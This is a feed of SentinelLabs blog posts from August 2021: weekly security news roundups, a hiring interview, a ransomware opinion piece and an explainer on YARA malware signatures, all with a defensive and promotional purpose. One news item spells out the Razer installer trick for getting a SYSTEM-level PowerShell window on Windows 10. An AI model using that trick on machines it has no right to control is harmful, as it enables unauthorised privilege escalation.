There are new articles available, click to refresh the page.
Before yesterdaySentinelLabs

The Good, the Bad and the Ugly in Cybersecurity – Week 35

27 August 2021 at 15:00

The Good

In response to Biden’s recent Executive Order and ongoing concerns about the poor state of cybersecurity, particularly in relation to critical infrastructure, the good news this week has to be Microsoft and Google pledging to reach into their deep pockets to help fight cybercrime.

Google has said it will stump up $10bn over the next five years after meeting with Biden and other tech leaders on Wednesday. Among projects earmarked for the funding, Google says it will expand the rollout of its SLSA framework, which is aimed at helping fight supply chain attacks through open-source software, and invest in training more people to address the cybersecurity skills shortage.


Meanwhile, Microsoft appears to have seen Google’s hand and raised it by another $10bn, pledging a total of $20bn. Around $150m is allotted to help US government agencies upgrade protections and expand cyber security training. Given that Microsoft software is a prime target in so many cyber attacks, particularly when it comes to ransomware, we hope that a good portion of that funding goes to plugging existing gaps more effectively.

At present, there’s no word from Apple about whether they also intend to contribute funding in response to the government’s call-to-arms. The Cupertino outfit is somewhat preoccupied with defending its plan to run (what some have called) “warrantless searches” on its customers’ iPhones, as well as dealing with other security hiccups with its planned iOS cloud anonymizer service.

The Bad

A critical vulnerability in Microsoft’s Azure cloud platform was revealed this week that lay exposed for months and could have allowed attackers to remotely take over a target’s Cosmos DB instances without authorization.

ChaosDB, as researchers at Wiz have dubbed it, gives any Azure user full administrator access to another MS customer’s Cosmos DB instances. The researchers say that the flaw is trivial to exploit and does not require previous access to the victim’s environment. Fortune 500 companies are among thousands of organizations impacted, it is claimed.

For their part, Microsoft reportedly plugged the vulnerability within days of being notified of the problem. After receiving the bug report on August 12th, the company disabled the problematic feature on August 14th, and rewarded the researchers with a $40,000 bug bounty shortly thereafter. Wiz published details of the findings this Thursday.

While that may sound like a happy ending for all concerned, there is still some concern for affected parties. Microsoft has said that it informed customers who may have been impacted and that “no one exploited it in the wild”. The researchers, however, believe that Microsoft has only notified around 30% of its customers and that the number of affected parties is much higher. To ensure mitigation, Azure users are being advised to regenerate Cosmos DB primary keys as soon as possible.

The Ugly

Zero days are never pretty, and sadly this week saw another one affecting Windows 10, offering a path to a local privilege escalation when plugging in certain peripherals. The story began with a Tweet describing how popular Razer Synapse products prompt Windows 10 to automatically download Razer Synapse software when plugged in. The software provides services to users to manage settings on the associated peripheral. It’s a common enough architecture used by many device manufacturers (much to the chagrin of some) and Razer alone is said to have some 100 million users.

Unfortunately, it turns out that when the installer, which runs with SYSTEM privileges, offers users the option to specify the install location, pressing Shift and right-clicking the dialog throws a prompt to “Open PowerShell window here”. The PowerShell window inherits the SYSTEM privileges of the opening process and thus allows the user to enter commands with the same privileges.

According to one estimate, there’s around 250 or so affected Razer products, but other Twitter users picked up on the vulnerability and quickly disclosed thousands of other devices that may trigger the same behavior.

While this is a LPE that won’t help remote attackers, it does open the door to the possibility of an unattended PC being exploited simply by an attacker plugging in a mouse or spoofing tool. Perhaps this will serve as a timely reminder to readers to always lock the screen when stepping away from the workstation.

It is also worth noting for worried users that the exploit only works if Windows Update runs the installer automatically. Devices that already have the software installed should not be vulnerable, although that assumes there are no other problems with the driver. Unsafe Windows drivers is a bit of a thing at the moment, and we’re sure we haven’t seen the last of such reports.

On the back of the disclosure, Razer announced that they were working on a fix and even offered a bug bounty to the researcher, despite his dropping it as a zero-day on social media. For that, the company at least deserves some credit, for not every bug bounty operator is quite so generous.

Like this article? Follow us on LinkedIn, Twitter, YouTube or Facebook to see the content we post.

Read more about Cyber Security

Building A Successful Career at SentinelOne | A Q&A With CTO Ric Smith

24 August 2021 at 15:51

SentinelOne has just announced the launch of a new office and innovation center in Prague, Czech Republic. The new location will house product development functions to augment current teams, which span the globe in the Americas, Europe, and Asia.

The new office is expected to add 100 new jobs over the next 12 months, leveraging the region’s wealth of technical talent and creating local economic and career opportunities. Ric Smith, Chief Technology Office at SentinelOne, said the company was excited to set up shop in the Czech Republic and that the region boasted top engineering talent. In this post, we chat with Ric about the new location and other aspects of building a successful career at SentinelOne.

What Drew You to SentinelOne?

Two words. Culture and Opportunity. In terms of culture, upon meeting the SentinelOne team, I knew I was fortunate enough to stumble upon a cohort of leaders that are as equally driven by success as they are kindness towards others.

Regarding opportunity, it’s clear that through the pandemic that there has been a monumental shift in what we define as the network perimeter of our organizations, given the ever growing posture towards remote work. That creates new risks in terms of broader attack surfaces which poses massive opportunities for security providers such as SentinelOne. We are obviously not alone in that thinking, just look at the success of our recent IPO.

What Kind Of Roles And Projects Have You Worked On?

Prior to leadership, I started my career working at Lockheed Martin as an engineer where I worked in the areas of satellite image processing and flight simulation. After Lockheed, I focused on special projects for defense and intelligence related customers as a principal engineer at Oracle.

Both opportunities shaped my perspective on how I view quality and precision in terms of software development.

How Do You Maintain A Great Culture In High Performing Teams Distributed Throughout The World?

People are people no matter their origins. If you want a great working environment, you have to start with a critical focus on who you are hiring. It’s not just about skill sets, but about the personalities you bring into the workplace.

The goal is to hire people that are kind, active collaborators, accountable, and pride themselves on a sense of achievement. With those foundations you can start building teams that operate with a sense of autonomy and not only succeed, but span geographies and timezones.

Beyond those basics, you also want to build a diverse workforce that mirrors the diversity of the region. It’s not only about representation, but it’s also about being better decision makers. Diversity brings with it diversity of thought, which is the key to critical thinking.

How Do You Support Innovation?

First and foremost, you have to earn the right to innovate. That means taking off the basics that make it possible and gives us the space to pursue innovation. More specifically, you have to put a critical focus on quality and delivery.

If you don’t put those things first, you will end-up with a level of debt that makes the pursuit of innovation near impossible. Once you have your house in order, you then have enough cycles to start exploring the art of the possible.

The key to unlocking this is to make sure the engineering team is well endowed with the knowledge of the customers and problems we serve and why. That wisdom is the seed of inspiration that is necessary to inspire someone to not only innovate, but deliver value to our customers. Few things are more defeating than to put effort into something that only finds its way to disuse.

Why Is SentinelOne Expanding Into Czechia?

This is my third time operating in Czechia. Czechia is a region that is rich with engineering talent, particularly in Prague and Brno.

Geographically, it is well situated to operate as SentinelOne’s HQ for the rest of Eastern Europe as we expand and grow. And, it goes without saying, the beer is great too!

What Roles Are Coming Live in Czechia?

We will be hiring across all engineering disciplines at all levels; that includes kernel, frontend, backend, validation, and data engineering as well as data science and detection.

What Are Some Skills Needed To Be Successful At Sentinelone?

Honest-humility and Grit. Honest-humility is the great equalizer that deflates the most heated issues and humanizes the most continuous conflicts. Grit is the marriage between intelligence and resilience.

Raw intelligence may help you arrive at a solution to a problem, but it’s resilience that enables you to drive forward, despite adversity, to implement a solution. Grit makes all the difference in controlling the arc of the success of both you and your team.

Interested in Joining SentinelOne?

Learn more about SentinelOne’s Czech Republic-based career opportunities. Explore global career opportunities with SentinelOne here.

Like this article? Follow us on LinkedIn, Twitter, YouTube or Facebook to see the content we post.

Read more about Cyber Security

The Good, the Bad and the Ugly in Cybersecurity – Week 34

20 August 2021 at 15:00

The Good

This week updated guidance was released from CISA (Cybersecurity and Infrastructure Security Agency) on “Ransomware-Caused Data Breaches”. As the stakes continue to rise, along with the ransom amounts, CISA is hoping organizations “adopt a heightened state of awareness” and implement the variety of recommendations provided in the guidance.

In terms of prevention specifically, the guidance touches on backups, BCP (business continuity planning) and technical exposure mitigation (audit exposed RDP, conduct regular vulnerability scanning). The prevention section also covers cyber hygiene, patching, pentesting and the like.

For organizations that find themselves needing to respond to a ransomware-related breach, the final section in the guidance includes operational planning, triage practices, forensics, and both internal and external communication plans. In addition, the new document provides links to numerous related resources.

Ebook: Understanding Ransomware in the Enterprise
This guide will help you understand, plan for, respond to and protect against this now-prevalent threat. It offers examples, recommendations and advice to ensure you stay unaffected by the constantly evolving ransomware menace.

CISA’s updated guidance serves as a good “cheat sheet” or jumping-off point for sharpening your ransomware and breach response skills. We encourage all to review the guidance and apply these safe practices where required.

The Bad

It was not too long ago that stories were circulating about Ring security cameras, baby monitors, and similar “smart” devices being hacked and used to frighten, eavesdrop, or worse. A similarly impactful flaw to another Video Surveillance as a Platform service was recently discovered and disclosed by FireEye.

The vulnerability, CVE-2021-28372, affects devices associated with the Kalay IoT platform (ThroughTek). The flaw is specific to the SDK (software development kit) and therefore potentially affects a limitless number of devices. This bug allows attackers a very straightforward way to hijack the connection between devices and the Kalay cloud. Attackers can masquerade as a ThroughTek device by presenting a valid 20-byte UID (Unique Identifier). Armed with this knowledge (and the correct IDs), attackers can force their way into the communication stream and intercept credentials or force challenges on the devices to cause users to supply them.

A joint alert was posted by FireEye and CISA (Cybersecurity and Infrastructure Security Agency) on August 17th. The vendor, ThroughTek, has provided multiple solutions based on various versions of the SDK. Versions 3.1.10 and above are recommended to enable AuthKey and DTLS. For previous versions, the same steps are recommended but preceded by an upgrade to SDK 3.1.10 or above.

IoT devices are only going to become more prevalent, and it is vital that consumers – both businesses and personal – are mindful of the security (or lack thereof) with some of these devices. Always take the time to familiarize yourself with the vendor and any potential patches for anything you plan on connecting to your network.

The Ugly

This past week brought the latest chapter in the ongoing saga revealed through the joint efforts of researcher Orange Tsai (DEVCORE Research Team) and ZDI (Zero Day Initiative). We have previously covered ProxyLogon and ProxyOracle. The ProxyLogon flaw was heavily exploited as part of the widespread attacks on Exchange servers earlier this year. To add to these previous vulnerabilities, we now have details of the follow-up, ProxyShell. Technically speaking, ProxyShell consists of three separate flaws, tracked by CVE as follows:

CVE-2021-31207 – Microsoft Exchange Server Security Feature Bypass Vulnerability
CVE-2021-34473 – Microsoft Exchange Server Remote Code Execution Vulnerability
CVE-2021-34523 – Microsoft Exchange Server Elevation of Privilege Vulnerability

Stringing these three flaws together in exposed environments will allow an attacker to establish persistence and quickly execute malicious PowerShell commands. Upon successful exploitation, an attacker could potentially take full control of exposed Microsoft Exchange servers.

Proof-of-concept code is currently available for ProxyShell along with thorough documentation. While Microsoft has released patches for all of these CVEs across the April and May monthly releases, the researcher notes that “Exchange Server is a treasure waiting for you to find bugs…I can assure you that Microsoft will fix more Exchange vulnerabilities in the future”.

These are hgh-severity flaws, and the waves carrying these flaws into our data centers are getting larger and more difficult to predict and control. Knowledge is a powerful tool, and we encourage all to stay up to date on this style of vulnerability specifically. Good hygiene and preparedness, along with a properly configured and modern endpoint security platform, will keep your environment safe from these attacks.

Like this article? Follow us on LinkedIn, Twitter, YouTube or Facebook to see the content we post.

Read more about Cyber Security

6 Reasons Why Ransomware Is Not Going To Be Stopped

17 August 2021 at 17:13

Everyone with access to the news already knows that Ransomware is bigger than ever before, and the public and private sectors are realizing that being the next target is not a matter of if but when.

How has it come to this? For twenty years, businesses have been buying anti-virus protection, and yet they still lost the game. In this blog, we discuss six critical reasons why we are only now seeing the beginning and not the end of the real ransomware pandemic.

1. Broken Windows Can’t Be Fixed

Microsoft Windows and associated enterprise software are full of vulnerabilities. In the previous three months alone, Microsoft has had to patch over 200 bugs, with 27 of those rated Critical and the vast majority of the rest rated as Important in severity. At least six were under active attack prior to the release of a patch.

In March of this year, four separate zero days in MS Exchange software led to breaches in thousands of organizations. One of these flaws had existed in Microsoft Exchange since 2013, while others date back to 2016 and 2019.

The recent remote code execution PrintNightmare vulnerability in the Windows Printer Spooler service was rapidly folded into popular hacking tools like Mimikatz and Metasploit. Even after being initially patched, researchers quickly discovered a full bypass. Similar vulnerabilities like FaxHell, Print Demon and Evil Printer were discoverd in 2020 and it is likely that attackers will continue to look for and find systems exposed to such vulnerabilities for years to come.

NTLM-relay attacks have been a particularly rich source of privilege escalation vulnerabilities over the years. The most recent, dubbed PetitPotam, allows attackers a simple way to achieve full environment takeover of exposed Domain Controllers.

Some bugs remain hidden for years, even decades at a time. CVE-2021-24092 is a privilege escalation vulnerability in Windows Defender – Microsoft’s own security software that’s supposed to keep attackers at bay. This privilege escalation bug lay unpatched for 12 years.

It’s tempting to think that it must just be a matter of time till all these bugs are eventually found and patched, but unfortunately that’s not the way it works. New bugs are introduced with new code, and just like every other product, Microsoft needs to create new features – and write new code – to remain attractive to enterprise users. The recent HiveNightmare (aka SeriousSAM) local privilege escalation vulnerability was actually introduced into Windows 10 in version 1809. It allowed any standard user to escalate to full SYSTEM privileges, with all the horror that that entails for security teams.

While HiveNightmare requires the attacker to have a foothold on the system in order to leverage it, chaining this flaw with others such as PrintNightmare can give a threat actor both access and full permissions.

In the hands of threat actors, any of these vulnerabilities could be used to aid a compromise and help spread a Ransomware attack.

2. Sophisticated Attacks Beat Simple Security, Everytime

Bugs aside, Windows Defender – the built-in security of Windows devices – is simply not good enough to stop today’s sophisticated attacks. Putting aside the inherent conflict of a security product that is sold by an OS vendor (should security really be an upsell for an operating system vendor?) the recent Sunburst/SolarWinds attack was not stopped by Windows Defender, according to NETRESEC. The same source shows that even some 3rd party vendors including CrowdStrike and Carbon Black were also bypassed by the malware and failed to provide the needed visibility for detecting the attack.

Of course, sophisticated attacks are designed to beat simple security controls, but the days when anything less was sufficient for businesses are long behind us. Sophisticated tools are no longer the sole provenance of nation-state backed threat actors, and they are no longer only used against targets nation-states want to spy on.

The modern threatscape of financial crime is all about leverage. Threat actors want your data – either to sell or to ransom back to you, or both – and they have the muscle to buy, develop and steal the tools required to get it. Ever since the Shadow Brokers leaked the NSA’s own powerful hacking tools – including EternalBlue, which was involved in the WannaCry and NotPetya attacks – crimeware gangs have not only had those particular tools at their disposal, they’ve had the knowledge of how such tools can be built.

Moreover, an entire ecosystem exists on the Dark Web for the less-sophisticated to access powerful tools developed by others. The Ransomware as a Service model means sophisticated malware developers can sell to a large number of clients, each paying a relatively low-price. It’s a simple economic model that threat actors have understood and exploited with aplomb.

With ransomware affiliates queuing up to breach organizations with powerful tools that defeat simple controls, the days when enterprise security could rely on humans to do the heavy lifting are a thing of the past. Sophisticated attacks require sophisticated tools that can respond autonomously at machine speed to keep ransomware attacks out. But while there remain so many organizations that still have this lesson to learn, we will continue to see high-profile ransomware attacks afflicting both our public and private enterprises.

3. The Rewards Are Greater Than The Risks

Buggy software and weak security controls also combine with low risk and high rewards to make ransomware an attractive proposition to criminals. Back in the day, cybercriminals did not realize the vast rewards that awaited them from attacking enterprises and organizations, and were focused primarily on consumers, who were sent demands for automated payments of $300. Back in 2010, one cybersecurity commentator was able to note that “Ransom on the internet may not garner much money per incident but patient extortionists can cast a wide net and haul in many innocent victims who have no recourse other than to pay.”

How things have changed since then. Today, ransomware extortionists collect far more revenue through double extortion: good-old file encryption on the one hand, coupled with exfiltrating data and blackmailing victims on the other. It’s a numbers game. REvil ransomware operators recently exploited a bug in Kaseya VSA software and then requested a lump sum of $50 million for a universal decryption key. Last year, all ransomware extortion payments were believed to total around $350 million in cryptocurrency.

The history of crime teaches us that people will take big risks for much lower rewards. A bank heist can carry a sentence of life imprisonment and is much more likely to go awry. A ransomware attack on a U.S. institution – conducted from home in a nation that is not particularly concerned about cracking down on such computer crimes – is less risky than a late night walk in the park.

The upshot? It’s not just nation-state backed threat actors that we have to worry about but nation-state tolerated criminal gangs, too. And for your average business anywhere in the West, the latter is a very much more real and present danger.

What is the True Cost of a Ransomware Attack? | 6 Factors to Consider
The ransom demand may be the headline figure, but it's not the only, or the biggest, cost to bear.

4. Cryptocurrency Makes Payment Easy

Cryptocurrency is booming. While naysayers keep on talking up the risks of the ‘cryptocurrency bubble’, criminals are more than happy to use it as a means of anonymity, easy cash transfer and – as prices soar – a fast route to riches.

Prior to the pandemic, Bitcoin was trading at a little over $7,000, but when the economy shut down around the world, Bitcoin boomed. By December 2020, it was trading at $24,000, hit a peak of $64,000 in April 2021 and is currently hovering at around $46,000. The bubble doesn’t look like it’s about to burst, and for cybercriminals extorting businesses, every price rise is just more incentive to keep attacking.

It’s not just the rising prices, of course, that makes cryptocurrency attractive to criminals. Cryptocurrency offers anyone involved in crime an easy way to get paid with far more anonymity than a bank account, since the blockchain technology it is based on uses hashes of public keys rather than people’s names to record ownership.

While there is a whole art and industry behind trying to track criminal payments, there’s plenty of invention on the criminals’ side, too, to obscure “cashing out” – the conversion of cryptocurrency to hard cash. Some of that innovation is technological, some of it is just the tried and tested method of laundering funds through bank accounts for shell corporations. Are there gangs of finance criminals offering their services to the cyber criminals for just this purpose? You bet there are.

5. Business Inertia Means Legacy AVs Just Won’t Die

While cybercriminals cash in on modern technologies, the vast majority of businesses are hanging on to legacy AV technologies that were defeated long ago. AV security suites like Symantec, Avast and McAfee continue to hold market share because many businesses were locked in years ago to aging technologies relying on malware file signatures and hashes.

Despite the prevalence of these legacy AV security controls, there were an estimated 9.9 billion malware attacks in 2019 alone, up from 8.2 billion in 2015. While this can be regarded as a huge success for cybercriminals, it is a damning indictment of the failure of cybersecurity’s incumbent vendors.

If there’s one statistic more than any other that says business leaders need to rethink their approach to securing the enterprise, we can’t think of a better one than that.

The evidence is clear: Threat actors have adapted to and evaded these old approaches to security. Supply chain attacks, fileless attacks, and exploit kits with known bypasses or evasions for such security controls are common fare among ransomware operators and their affiliates, who swap news, tricks and techniques in darknet forums on how to bypass AV software. Some even offer prizes in research competitions.

6. Attacks Happen on Devices, Not in the Cloud

If legacy AV hasn’t really changed that much, our network infrastructure certainly has. The cloud – on-prem, hybrid, IaaS, PaaS, containerized workloads and more – have changed our environments beyond recognition since those old AVs were first thought of. In response, both old and new vendors have thought to exploit the cloud for the purposes of defense. What if you could send all your device (whether physical or virtual) telemetry to a vendor’s cloud resources and have it analysed there? The advantage? They say it’s all in the added compute power of the cloud.

It’s right to take advantage of technology where it helps us or supplements our core defenses, but the key to endpoint device security cannot lie on a remote server or with a remote analyst. When a thief enters your home, the last thing you want is to wait for a remote cop to decide whether or not the thief should be there. The burglar might have already made off with your goods, causing who knows what kind of damage in the meantime.

The same is certainly true for endpoint security. Whether you’re securing employees’ Windows or Linux workstations, macOS laptops or personal devices, your office IoT or your company’s servers – on prem or in the cloud – what you need at the heart of your endpoint security solution is an autonomous agent on that device that responds at machine speed to a threat.

Ransomware encryption speeds are a source of great pride among crimeware developers, with each new service claiming to encrypt and exfiltrate faster than competitors. When the endpoint itself cannot respond automatically and without minimum delay, the problem of ransomware will not go away. When vendors speak about remediation after 60 seconds or 1 hour, they are talking about entering a game that is already over. There is no remediation when you’re relying on human labor to defeat machine-speed attacks.

Don’t Despair, The Answer Is Out There

But there is hope. More people are figuring out how to win this war and that time – or more accurately, speed – is of the essence. For too long, attackers have had the element of surprise in their favor, easily beating defenses that rely on either having seen an attack before or waiting for a human analyst to return a verdict.

There is nothing wrong with either of those strategies if they are supplemental to a more robust, behavioral AI that is trained to act autonomously on the battlefield. It might sound like science fiction, but the reality is already here and defending some of the world’s leading and largest enterprises today.

We believe our Singularity XDR platform is part of the solution that will free us from the threat of ransomware. If you’d like to learn more about how SentinelOne can help defend your organization from ransomware and other threats, contact us for more information or request a free demo.

Ebook: Understanding Ransomware in the Enterprise
This guide will help you understand, plan for, respond to and protect against this now-prevalent threat. It offers examples, recommendations and advice to ensure you stay unaffected by the constantly evolving ransomware menace.

Like this article? Follow us on LinkedIn, Twitter, YouTube or Facebook to see the content we post.

Read more about Cyber Security

The Good, the Bad and the Ugly in Cybersecurity – Week 33

13 August 2021 at 15:00

The Good

This week saw a number of security updates and fixes as part of Microsoft’s “Patch Tuesday” release on August 10th. Notable among them was the inclusion of a fix for the recently disclosed PetitPotam attack (aka CVE-2021-36942). This flaw was originally discovered by researcher Gilles Lionel (aka Topotam), and is a novel NTLM-relay attack which provides enterprising attackers a simple way to overtake exposed domain controllers. Once they have established a presence on the DCs, full environment takeover is trivial.

Essentially, “PetitPotam” provides quick access to the ‘keys to the kingdom’, or maybe a better analogy would be to the ‘battering ram to the kingdom’. According to Microsoft’s advisory, PetitPotam takes advantage of servers where Active Directory Certificate Services (AD CS) is not configured with protections for NTLM Relay Attacks. Organizations are potentially vulnerable if they use AD CS with either Certificate Authority Web Enrollment or Certificate Enrollment Web Service.

Seeing this fix included in the August patch cycle from Microsoft will be a welcome relief for many. We encourage all enterprise security teams to review the guidance from Microsoft and take appropriate action to reduce exposure and mitigate the risk of exploitation via CVE-2021-36942.

The Bad

This week saw another high-profile ransomware attack and another threatened leak of sensitive corporate data unless the victim pays a hefty sum, rumored to be around the $50 million mark. The attacker and victim in this case were criminals using LockBit ransomware and global consulting firm Accenture, respectively.

According to various news sources, Accenture was able to restore affected systems from backups by Wednesday, limiting disruption to services, but the threat to leak up to as much as 6TBs of the company’s data still stands.

In common with other ransomware groups, the LockBit operators publish a countdown timer to pressure victims to pay up within a few hours. Notably, the LockBit timer for Accenture has reset at least once, suggesting either that the operators were experiencing some technical issues or, perhaps, that negotiations are ongoing and require more time to resolve.

Meanwhile, the leaks site added ‘Dudos every day” to the Accenture entry, which some have interpreted to mean “DDoS every day”. At present, we have not been able to confirm if indeed Accenture is also being hit with DDoS attacks, but the tactic is not uncommon among ransomware threat actors.

LockBit 2.0 has been around since early 2020, and by some estimates has hit anywhere between 10,000 and 40,000 victims in that time. In order to attract affiliates (criminals who pay the operators for use of the ransomware), the operators have made various unconfirmed claims that LockBit 2.0 can encrypt and exfiltrate data much faster than competing ransomware services. Whether these claims are true or not is less important than whether they are believed and encourage others to buy the service and use it to attack organizations. Given the number of estimated incidents, it seems likely that the operators have been reasonably successful in that regard.

The Ugly

This week’s ‘Ugly’ could be the tale of a Robin Hood, or a bad guy caught red-handed and trying to change the narrative to avoid jail time. Whichever way you look at it though, it’s less than pretty from some angle. The story begins with what has been described as one of the “biggest heists to target the cryptocurrency industry” after an estimated $600 million worth of crypto coins were stolen from tens of thousands of wallets on Tuesday.

The heist involved a hacker exploiting a vulnerability to breach decentralized finance (DeFI) platform Poly Network. However, as of Thursday, it appears that around half of the coins had been returned and the remaining assets “gradually transferred”.

An individual claiming to be responsible for the attack said they had never intended to steal the money but were merely holding on to it for “safe keeping”. Hmmm.

A competing explanation goes like this. Having read Poly Network’s later tweet stating that “Law enforcement in any country will regard this as a major economic crime and you will be pursued”, and their advice that the hacker should “return the hacked assets” and “talk to us to work out a solution”, that that is exactly what the hacker did.

Realizing that cashing out that kind of haul would have been impossible and that, indeed, the chances of getting away with such a huge crime were incredibly low, the hacker may well have decided to take up the offer and try to change the narrative of what happened.

“White hat” researcher? We don’t think so. That’s not the way good guys operate. On the other hand, despite what appears to be the safe return of the money, trust in Poly Networks could now be seriously dented. The company will have some serious PR work to do convincing current and prospective members that their digital assets are safe from now on.

Like this article? Follow us on LinkedIn, Twitter, YouTube or Facebook to see the content we post.

Read more about Cyber Security

What Is A Malware File Signature (And How Does It Work)?

12 August 2021 at 17:12

Many security products rely on file signatures in order to detect malware and other malicious files. The technique involves reading or scanning a file and testing to see if the file matches a set of predetermined attributes. These attributes are known as the malware’s ‘signature’. Malware signatures, which can occur in many different formats, are created by vendors and security researchers. Sets of signatures are collected in databases, some of which may be public and shared while others are contained in proprietary databases exclusive to a particular vendor.

Some security solutions rely entirely on this kind of technology for detection purposes, although there are various drawbacks in doing so. In this post, we’ll explore how malware file signatures are created, explain how they work, and discuss their advantages and disadvantages.

How Are Malware Signatures Created?

In order to create a signature for a particular malware file or family of files, a security analyst needs one or more (the more the better) samples of the file to work from. Such samples may be gathered ‘in the wild’ from infected computers, sourced from the darknet and other places malware authors trade their work, or from shared malware repositories where security researchers (and in some cases the public) can share known malware files. Some popular malware repositories available to security professionals include VirusTotal, Malpedia and MalShare.

MalShare is one of several malware repositories available to researchers

Once a vendor has a set or ‘corpus’ of files to work with, they begin to examine the files for common characteristics. These characteristics can involve factors such as file size, imported or exported functions, data bytes at certain positions (‘offsets’), sectional or whole-file hashes, printable strings and more.

The process of generating signatures can be automated, but it is often initially done manually by specialist malware analysts and reverse engineers, particularly when an entirely new family of malware is found.

While there are many different formats for creating signatures, one of the most popular formats widely in use today is YARA, which allows malware analysts to create signatures based on textual and binary patterns. For example, the following image shows a slice of code from a well-known malware family distributed by APT threat actor OceanLotus on the left, and a YARA signature to detect it on the right.

A sample of OceanLotus malware and a detection signature for it

Note the signature condition, which states that the file must be of type ‘Macho’ (Mach-O), and have a file size of less than 200KB, while also containing all the strings defined in the rule.

In the YARA format, the strings may occur as regular human-readable characters set between quotation marks, or – as in the example above – as hexademical-encoded bytes set between curly brackets. Some signature writers exclusively use the latter, even when the string to be matched is a string of human readable characters. Thus, ‘hello, world’ might be encoded in the signature as { 68 65 6c 6c 6f 2c 20 77 6f 72 6c 64 }.

There are various programs available that allow you to easily translate back and forth between human readable strings and hexadecimal. On Mac and most Linux machines, the command line utility xxd is one such program.

Translation between plain text and hex-encoded text with xxd

As we shall see below, sometimes malware is packed in ways that an engine cannot easily unpack, and a signature may need to rely on calculating hashes from one or more sections of a file, as in this snippet from another YARA rule:

hash.sha1(0, 450112) == "21b63689d192a7d1309d98afa35d42f695098d7a" or
hash.sha1(0, 474048) == "509dba18a168fdeecf990704741e14cb17b2a31e" or
hash.sha1(0, 888656) == "3a1665f1b92f1aae4eb44753f5134b3a0ec0a35f" or

What Are The Advantages of Signature-Based Detection?

Signature-based detection offers a number of advantages over simple file hash matching. First, by means of a signature that matches commonalities among samples, malware analysts can target whole families of malware rather than just a single sample.

Second, signatures are very versatile and can be used to detect many kinds of file-based malware. Signatures can easily include or exclude different file types, whether those be shell scripts, python files, Windows PE files, Linux ELF files or macOS Mach-O files. The same malware database, and even the same rule if it were appropriate, could potentially scan and match a signature across almost any file type.

Third, signature formats like YARA are very powerful and offer malware analysts both a wide variety of logic by which to define malicious behavior as well as a relatively simple format that is easy to write and test. Moreover, as signatures are text-based, a single database can contain many thousands, even millions, of signatures without itself being excessively large.

A common signature format like YARA is also easy to share among researchers and threat intelligence data feeds, ensuring that known malware is widely detected and the greatest number of computer users as possible are protected against known threats.

Detection of an OceanLotus malware sample as seen on VirusTotal

Malware researchers such as SentinelLabs, for example, regularly publish threat intelligence reports containing YARA rules that can be consumed by other vendors, businesses and even individuals to help them improve their own detection efforts.

Even when vendors use proprietary signature formats, it is usually unproblematic to translate a signature from a public format like YARA to a vendor-specific format, since most signature-based formats have similar capabilities.

What Are The Disadvantages of Signature-Based Detection?

Signature-based detection has been the standard for most security products for many years and continues to play an important role in fighting known, file-based malware, but today an advanced solution cannot rely solely or even primarily on file signatures for detection. Some of the reasons for this are due to the way threat actors have adapted to evade signature detection and some are related to drawbacks inherent to the method of scanning a file for specific attributes.

The first major drawback of using signatures to detect malware is that signatures can only be written after a malware sample has already been seen. This means that any solution that relies solely on signatures is always going to be one step behind the latest attacks.

The second major problem resides in the fact that today unique malware samples are created at such a rapid rate that writing enough effective signatures is not a realistic goal. This is part of the reason why so many signature-based solutions fail to catch known malware.


Even without those two major issues to contend with, there are other problems for signature-based detection. Not least among these are that many attacks today are fileless, meaning that the malicious code is executed in-memory rather than by launching a malicious executable.

Moreover, the efficacy of a signature is proportional to the number of different samples of malware that share the same attributes used in the signature. If analysts only have a small set of samples – or sometimes only a single sample – to work from, the signature’s efficacy is both limited and prone to false positives: detecting non-malicious code that may have the same attributes.

As we noted above, signatures can contain conditions such as only matching a file that is below a certain file size. Vendors often make use of the ‘filesize’ condition in static signatures for performance reasons: the larger the file the more resources it takes to scan. While limiting the files to be scanned by size is good for performance, it is a drawback that can easily help malware authors, who have been known to bloat files with garbage code to avoid being detected.

Another serious drawback to signature-based detection is the use of compression and packing by malware authors. These technologies mean that the attributes of the file are hidden from a static scanner and only become apparent once the packed or compressed file is executed. While some vendor engines take account of this and include their own unpackers for common technologies like UPX, malware authors always have more custom packers and compression methods at their disposal than detection engines can incorporate.

UPX is a common, publicly available packer

Even when signature-based detections work as intended, the strength of the signature relies on how time-expensive the signature makes it for malware authors to refactor their code to avoid the signature. Signatures are weaker to the extent they look for characteristics that can easily be changed by the authors.

Moreover, public signatures have a limited shelf-life given that threat actors can also see the detection logic and adapt their malware accordingly. This is why some intelligence is only shared privately among law enforcement and trusted vendors. It is also one reason why most security solutions try to hide their static signatures from prying eyes through encryption. Even so, the other drawbacks mentioned above mean that signature-based detection is simply not sufficient to deal with today’s malware threats.

Moving Beyond Signature-Based Detection

Vendors like SentinelOne realized from the outset that signature-based detection was insufficient to protect endpoints not only from commodity malware but also from targeted attacks. Rather than relying on file characteristics to detect malware, SentinelOne developed machine learning algorithms and behavioral AI that examine what a file does or will do upon execution.

Such an approach solves the most serious drawbacks associated with signature detection. To begin with, harnessing the power of computer processors and machine learning algorithms takes the burden off analysts having to write individual signatures for new malware families.

Even more importantly, behavioral AI is able to recognize both known and novel malware that has never been previously seen. Regardless of implementation, all malware and malware authors have a finite set of objectives: to achieve persistence, exfiltrate data, communicate with a command-and-control server and so on. By training our models on attacker objectives rather than malware implementation, we are able to catch threats regardless of how they are constructed.


Detecting malware by means of a file signature has been a staple of security vendors for decades. Both vendors and analysts will continue to use file signatures to characterize and hunt for known, file-based malware. The technique provides both simplicity and a common framework for describing malware and sharing intelligence.

For endpoint security vendors, however, signature-based detection must be supplemented with more advanced detection layers that are not restricted either by the means of execution (file-based or fileless) or the implementation. If you would like to see how SentinelOne can help your organization detect malware, known and novel, reliably and at machine speed, contact us for more information or request a free demo.

Like this article? Follow us on LinkedIn, Twitter, YouTube or Facebook to see the content we post.

Read more about Cyber Security

Black Hat USA 2021: The Era of Covid-19 And A Cybersecurity Renaissance

9 August 2021 at 17:06

So many aspects of our lives have changed since the last time we met. Significantly, the way we work has changed: we spend more time at home, connecting remotely to what used to be our offices. We’ve saved time on commuting, postponed work trips, and adopted an entirely new working environment.

The trend of gradually digitizing our lives went into overdrive in the last 18 months. We shop online, chat online, and store our most personal and private information in the cloud. We trust more enterprises and supply chains than ever before to keep all this safe.

In parallel, cybercrime and nation state attacks have become a staple of daily news. We’ve seen the democratization of ransomware, bringing more criminals into the dance of cybercrime. The explosion of the dark web and cryptocurrency has made it easier to get away with ransomware and extortion. Prior to the pandemic, organizations thought they just needed better backups, but criminals have changed their tactics and payouts have increased to the point of forcing market changes. Organizations are now realizing they need better cybersecurity.

